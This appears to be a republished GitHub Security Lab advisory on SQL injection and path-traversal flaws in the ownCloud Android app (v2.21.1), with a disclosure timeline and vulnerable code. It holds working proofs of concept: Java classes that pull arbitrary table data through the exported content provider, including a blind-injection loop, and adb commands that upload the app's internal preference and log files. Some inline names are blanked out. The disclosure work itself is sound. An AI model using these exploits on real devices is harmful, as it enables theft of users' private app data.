GHSL-2022-059_GHSL-2022-060: SQL injection vulnerabilities in Owncloud Android a...

Original text by GitHub Security Lab

Coordinated Disclosure Timeline

• 2022-07-26: Issues notified to ownCloud through HackerOne.
• 2022-08-01: Report receipt acknowledged.
• 2022-09-07: We request a status update for GHSL-2022-059.
• 2022-09-08: ownCloud says that they are still working on the fix for GHSL-2022-059.
• 2022-10-26: We request a status update for GHSL-2022-060.
• 2022-10-27: ownCloud says that they are still working on the fix for GHSL-2022-060.
• 2022-11-28: We request another status update for GHSL-2022-059.
• 2022-11-28: ownCloud says that the fix for GHSL-2022-059 will be published in the next release.
• 2022-12-12: Version 3.0 is published.
• 2022-12-20: We verify that version 3.0 fixed GHSL-2022-060.
• 2022-12-20: We verify that the fix for GHSL-2022-059 was not included in the release. We ask ownCloud about it.
• 2023-01-31: ownCloud informs us that in 3.0 the filelist database was deprecated (empty, only used for migrations from older versions) and planned to be removed in a future version.

• 2023-01-31: We answer that, while that would mitigate one of the reported injections, the other one affects the 

  owncloud_database

   database, which remains relevant.

• 2023-02-2: Publishing advisories as per our disclosure policy.

Summary

The Owncloud Android app uses content providers to manage its data. The provider 

 has SQL injection vulnerabilities that allow malicious applications or users in the same device to obtain internal information of the app.

The app also handles externally-provided files in the activity 

, where potentially malicious file paths are not properly sanitized, allowing attackers to read from and write to the application’s internal storage.

Product

Owncloud Android app

Tested Version

v2.21.1

Details

Issue 1: SQL injection in 

 (

)

 provider is exported, as can be seen in the Android Manifest:

<provider
    android:name=".providers.FileContentProvider"
    android:authorities="@string/authority"
    android:enabled="true"
    android:exported="true"
    android:label="@string/sync_string_files"
    android:syncable="true" />

All tables in this content provider can be freely interacted with by other apps in the same device. By reviewing the entry-points of the content provider for those tables, it can be seen that several user-controller parameters end up reaching an unsafe SQL method that allows for SQL injection.

The 

 method

User input enters the content provider through the three parameters of this method:

override fun delete(uri: Uri, where: String?, whereArgs: Array<String>?): Int {

 parameter reaches the following dangerous arguments without sanitization:

private fun delete(db: SQLiteDatabase, uri: Uri, where: String?, whereArgs: Array<String>?): Int {
    // --snip--
    when (uriMatcher.match(uri)) {
        SINGLE_FILE -> {
            // --snip--
            count = db.delete(
                ProviderTableMeta.FILE_TABLE_NAME,
                ProviderTableMeta._ID +
                        "=" +
                        uri.pathSegments[1] +
                        if (!TextUtils.isEmpty(where))
                            " AND ($where)" // injection
                        else
                            "", whereArgs
            )
        }
        DIRECTORY -> {
            // --snip--
            count += db.delete(
                ProviderTableMeta.FILE_TABLE_NAME,
                ProviderTableMeta._ID + "=" +
                        uri.pathSegments[1] +
                        if (!TextUtils.isEmpty(where))
                            " AND ($where)" // injection
                        else
                            "", whereArgs
            )
        }
        ROOT_DIRECTORY ->
            count = db.delete(ProviderTableMeta.FILE_TABLE_NAME, where, whereArgs) // injection
        SHARES -> count =
            OwncloudDatabase.getDatabase(MainApp.appContext).shareDao().deleteShare(uri.pathSegments[1])
        CAPABILITIES -> count = db.delete(ProviderTableMeta.CAPABILITIES_TABLE_NAME, where, whereArgs) // injection
        UPLOADS -> count = db.delete(ProviderTableMeta.UPLOADS_TABLE_NAME, where, whereArgs) // injection
        CAMERA_UPLOADS_SYNC -> count = db.delete(ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, where, whereArgs) // injection
        QUOTAS -> count = db.delete(ProviderTableMeta.USER_QUOTAS_TABLE_NAME, where, whereArgs) // injection
        // --snip--
    }
    // --snip--
}

The 

 method

User input enters the content provider through the two parameters of this method:

override fun insert(uri: Uri, values: ContentValues?): Uri? {

 parameter reaches the following dangerous arguments without sanitization:

private fun insert(db: SQLiteDatabase, uri: Uri, values: ContentValues?): Uri {
    when (uriMatcher.match(uri)) {
        ROOT_DIRECTORY, SINGLE_FILE -> {
            // --snip--
            return if (!doubleCheck.moveToFirst()) {
                // --snip--
                val fileId = db.insert(ProviderTableMeta.FILE_TABLE_NAME, null, values) // injection
                // --snip--
            }
            // --snip--
        }
        // --snip--

        CAPABILITIES -> {
            val capabilityId = db.insert(ProviderTableMeta.CAPABILITIES_TABLE_NAME, null, values) // injection
            // --snip--
        }

        UPLOADS -> {
            val uploadId = db.insert(ProviderTableMeta.UPLOADS_TABLE_NAME, null, values) // injection
            // --snip--
        }

        CAMERA_UPLOADS_SYNC -> {
            val cameraUploadId = db.insert(
                ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, null,
                values // injection
            )
            // --snip--
        }
        QUOTAS -> {
            val quotaId = db.insert(
                ProviderTableMeta.USER_QUOTAS_TABLE_NAME, null,
                values // injection
            )
            // --snip--
        }
        // --snip--
    }
}

The 

 method

User input enters the content provider through the five parameters of this method:

override fun query(
    uri: Uri,
    projection: Array<String>?,
    selection: String?,
    selectionArgs: Array<String>?,
    sortOrder: String?
): Cursor {

 and 

 parameters reach the following dangerous arguments without sanitization (note that 

 is safe because of the use of a projection map):

SHARES -> {
    val supportSqlQuery = SupportSQLiteQueryBuilder
        .builder(ProviderTableMeta.OCSHARES_TABLE_NAME)
        .columns(computeProjection(projection))
        .selection(selection, selectionArgs) // injection
        .orderBy(
            if (TextUtils.isEmpty(sortOrder)) {
                sortOrder // injection
            } else {
                ProviderTableMeta.OCSHARES_DEFAULT_SORT_ORDER
            }
        ).create()

    // To use full SQL queries within Room
    val newDb: SupportSQLiteDatabase =
        OwncloudDatabase.getDatabase(MainApp.appContext).openHelper.writableDatabase
    return newDb.query(supportSqlQuery)
}

val c = sqlQuery.query(db, projection, selection, selectionArgs, null, null, order)

The 

 method

User input enters the content provider through the four parameters of this method:

override fun update(uri: Uri, values: ContentValues?, selection: String?, selectionArgs: Array<String>?): Int {

 and 

 parameters reach the following dangerous arguments without sanitization:

private fun update(
        db: SQLiteDatabase,
        uri: Uri,
        values: ContentValues?,
        selection: String?,
        selectionArgs: Array<String>?
): Int {
    if (selection != null && selectionArgs == null) {
        throw IllegalArgumentException("Selection not allowed, use parameterized queries")
    }
    when (uriMatcher.match(uri)) {
        DIRECTORY -> return 0 //updateFolderSize(db, selectionArgs[0]);
        SHARES -> return values?.let {
            OwncloudDatabase.getDatabase(context!!).shareDao()
                .update(OCShareEntity.fromContentValues(it)).toInt()
        } ?: 0
        CAPABILITIES -> return db.update(ProviderTableMeta.CAPABILITIES_TABLE_NAME, values, selection, selectionArgs) // injection
        UPLOADS -> {
            val ret = db.update(ProviderTableMeta.UPLOADS_TABLE_NAME, values, selection, selectionArgs) // injection
            trimSuccessfulUploads(db)
            return ret
        }
        CAMERA_UPLOADS_SYNC -> return db.update(ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, values, selection, selectionArgs) // injection
        QUOTAS -> return db.update(ProviderTableMeta.USER_QUOTAS_TABLE_NAME, values, selection, selectionArgs) // injection
        else -> return db.update(
            ProviderTableMeta.FILE_TABLE_NAME, values, selection, selectionArgs // injection
        )
    }
}

Impact

There are two databases affected by this vulnerability: 

 and 

.

Since the tables in 

 are affected by the injections in the 

 and 

 methods, an attacker can use those to insert a crafted row in any table of the database containing data queried from other tables. After that, the attacker only needs to query the crafted row to obtain the information (see the 

 section for a PoC). Despite that, currently all tables are legitimately exposed through the content provider itself, so the injections cannot be exploited to obtain any extra data. Nonetheless, if new tables were added in the future that were not accessible through the content provider, those could be accessed using these vulnerabilities.

Regarding the tables in 

, there are two that are not accessible through the content provider: 

 and 

. An attacker can exploit the vulnerability in the 

 method to exfiltrate data from those. Since the 

 is enabled in the 

method, the attacker needs to use a Blind SQL injection attack to succeed (see the 

section for a PoC).

In both cases, the impact is information disclosure. Take into account that the tables exposed in the content provider (most of them) are arbitrarily modifiable by third party apps already, since the 

 is exported and does not require any permissions.

Resources

SQL injection in 

The following PoC demonstrates how a malicious application with no special permissions could extract information from any table in the 

 database exploiting the issues mentioned above:

package com.example.test;

import android.content.ContentValues;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.util.Log;

public class OwncloudProviderExploit {

    public static String exploit(Context ctx, String columnName, String tableName) throws Exception {
        Uri result = ctx.getContentResolver().insert(Uri.parse("content://org.owncloud/file"), newOwncloudFile());
        ContentValues updateValues = new ContentValues();
        updateValues.put("etag=?,path=(SELECT GROUP_CONCAT(" + columnName + ",'\n') " +
                "FROM " + tableName + ") " +
                "WHERE _id=" + result.getLastPathSegment() + "-- -", "a");
        Log.e("test", "" + ctx.getContentResolver().update(
                result, updateValues, null, null));
        String query = query(ctx, new String[]{"path"},
                "_id=?", new String[]{result.getLastPathSegment()});
        deleteFile(ctx, result.getLastPathSegment());
        return query;
    }

    public static String query(Context ctx, String[] projection, String selection, String[] selectionArgs) throws Exception {
        try (Cursor mCursor = ctx.getContentResolver().query(Uri.parse("content://org.owncloud/file"),
                projection,
                selection,
                selectionArgs,
                null)) {
            if (mCursor == null) {
                Log.e("evil", "mCursor is null");
                return "0";
            }
            StringBuilder output = new StringBuilder();
            while (mCursor.moveToNext()) {
                for (int i = 0; i < mCursor.getColumnCount(); i++) {
                    String column = mCursor.getColumnName(i);
                    String value = mCursor.getString(i);
                    output.append("|").append(column).append(":").append(value);
                }
                output.append("\n");
            }
            return output.toString();
        }
    }

    private static ContentValues newOwncloudFile() throws Exception {
        ContentValues values = new ContentValues();
        values.put("parent", "a");
        values.put("filename", "a");
        values.put("created", "a");
        values.put("modified", "a");
        values.put("modified_at_last_sync_for_data", "a");
        values.put("content_length", "a");
        values.put("content_type", "a");
        values.put("media_path", "a");
        values.put("path", "a");
        values.put("file_owner", "a");
        values.put("last_sync_date", "a");
        values.put("last_sync_date_for_data", "a");
        values.put("etag", "a");
        values.put("share_by_link", "a");
        values.put("shared_via_users", "a");
        values.put("permissions", "a");
        values.put("remote_id", "a");
        values.put("update_thumbnail", "a");
        values.put("is_downloading", "a");
        values.put("etag_in_conflict", "a");
        return values;
    }

    public static String deleteFile(Context ctx, String id) throws Exception {
        ctx.getContentResolver().delete(
                Uri.parse("content://org.owncloud/file/" + id),
                null,
                null
        );
        return "1";
    }
}

By providing a columnName and tableName to the exploit function, the attacker takes advantage of the issues explained above to:

• Create a new file entry in 

  FileContentProvider

  .

• Exploit the SQL Injection in the 

  update

   method to set the 

   of the recently created file to the values of 

  columnName

   in the table 

  tableName

  .

• Query the 

   of the modified file entry to obtain the desired values.

• Delete the file entry.

For instance, 

 would return all the tables in the 

 database.

Blind SQL injection in 

The following PoC demonstrates how a malicious application with no special permissions could extract information from any table in the 

 database exploiting the issues mentioned above using a Blind SQL injection technique:

package com.example.test;

import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.util.Log;

public class OwncloudProviderExploit {

    public static String blindExploit(Context ctx) {
        String output = "";
        String chars = "abcdefghijklmopqrstuvwxyz0123456789";
        while (true) {
            int outputLength = output.length();
            for (int i = 0; i < chars.length(); i++) {
                char candidate = chars.charAt(i);
                String attempt = String.format("%s%c%s", output, candidate, "%");
                try (Cursor mCursor = ctx.getContentResolver().query(
                        Uri.parse("content://org.owncloud/shares"),
                        null,
                        "'a'=? AND (SELECT identity_hash FROM room_master_table) LIKE '" + attempt + "'",
                        new String[]{"a"}, null)) {
                    if (mCursor == null) {
                        Log.e("ProviderHelper", "mCursor is null");
                        return "0";
                    }
                    if (mCursor.getCount() > 0) {
                        output += candidate;
                        Log.i("evil", output);
                        break;
                    }
                }
            }
            if (output.length() == outputLength)
                break;
        }
        return output;
    }

}

Issue 2: Insufficient path validation in 

 (

)

Access to arbitrary files in the app’s internal storage fix bypass

 handles the upload of files provided by third party components in the device. The received data can be set arbitrarily by attackers, causing some functions that handle file paths to have unexpected behavior. https://hackerone.com/reports/377107 shows how that could be exploited in the past, using the 

 extra to force the application to upload its internal files, like 

. To fix it, the following code was added:

private void prepareStreamsToUpload() {
    // --snip--

    for (Uri stream : mStreamsToUpload) {
        String streamToUpload = stream.toString();
        if (streamToUpload.contains("/data") &&
                streamToUpload.contains(getPackageName()) &&
                !streamToUpload.contains(getCacheDir().getPath())
        ) {
            finish();
        }
    }
}

This protection can be bypassed in two ways:

• Using the path returned by 

  getCacheDir()

   in the payload, e.g. 

  "file:///data/user/0/com.owncloud.android/cache/../shared_prefs/com.owncloud.android_preferences.xml"

  .

• Using a content provider URI that uses the 

  org.owncloud.files

   provider to access the app’s internal 

   folder, e.g. 

  "content://org.owncloud.files/files/owncloud/logs/owncloud.2022-07-25.log"

  .

With those payloads, the original issue can be still exploited with the same impact.

Write of arbitrary   files in the app’s internal storage

Additionally, there’s another insufficient path validation when uploading a plain text file that allows to write arbitrary files in the app’s internal storage.

When uploading a plain text file, the following code is executed, using the user-provided text at 

 to save the file:

private void showUploadTextDialog() {
        // --snip--
        final TextInputEditText input = dialogView.findViewById(R.id.inputFileName);
        // --snip--
        setFileNameFromIntent(alertDialog, input);
        alertDialog.setOnShowListener(dialog -> {
            Button button = alertDialog.getButton(AlertDialog.BUTTON_POSITIVE);
            button.setOnClickListener(view -> {
                // --snip--
                } else {
                    fileName += ".txt";
                    Uri fileUri = savePlainTextToFile(fileName);
                    mStreamsToUpload.clear();
                    mStreamsToUpload.add(fileUri);
                    uploadFiles();
                }
                inputLayout.setErrorEnabled(error != null);
                inputLayout.setError(error);
            });
        });
        alertDialog.show();
    }

By reviewing 

, it can be seen that the plain text file is momentarily saved in the app’s cache, but the destination path is built using the user-provided 

:

private Uri savePlainTextToFile(String fileName) {
    Uri uri = null;
    String content = getIntent().getStringExtra(Intent.EXTRA_TEXT);
    try {
        File tmpFile = new File(getCacheDir(), fileName); // here
        FileOutputStream outputStream = new FileOutputStream(tmpFile);
        outputStream.write(content.getBytes());
        outputStream.close();
        uri = Uri.fromFile(tmpFile);

    } catch (IOException e) {
        Timber.w(e, "Failed to create temp file for uploading plain text: %s", e.getMessage());
    }
    return uri;
}

An attacker can exploit this using a path traversal attack to write arbitrary text files into the app’s internal storage or other restricted directories accessible by it. The only restriction is that the file will always have the 

 extension, limiting the impact.

Impact

These issues may lead to information disclosure when uploading the app’s internal files, and to arbitrary file write when uploading plain text files (although limited by the 

 extension).

Resources

The following PoC demonstrates how to upload arbitrary files from the app’s internal storage:

adb shell am start -n com.owncloud.android.debug/com.owncloud.android.ui.activity.ReceiveExternalFilesActivity -t "text/plain" -a "android.intent.action.SEND" --eu "android.intent.extra.STREAM" "file:///data/user/0/com.owncloud.android.debug/cache/../shared_prefs/com.owncloud.android.debug_preferences.xml"

The following PoC demonstrates how to upload arbitrary files from the app’s internal 

directory:

adb shell am start -n com.owncloud.android.debug/com.owncloud.android.ui.activity.ReceiveExternalFilesActivity -t "text/plain" -a "android.intent.action.SEND" --eu "android.intent.extra.STREAM" "content://org.owncloud.files/files/owncloud/logs/owncloud.2022-07-25.log"

The following PoC demonstrates how to write an arbitrary 

 text file to the app’s internal storage:

adb shell am start -n com.owncloud.android.debug/com.owncloud.android.ui.activity.ReceiveExternalFilesActivity -t "text/plain" -a "android.intent.action.SEND" --es "android.intent.extra.TEXT" "Arbitrary contents here" --es "android.intent.extra.TITLE" "../shared_prefs/test"

Credit

These issues were discovered and reported by the CodeQL team member @atorralba (Tony Torralba).

Contact

You can contact the GHSL team at 

, please include a reference to 

 or 

 in any communication regarding these issues.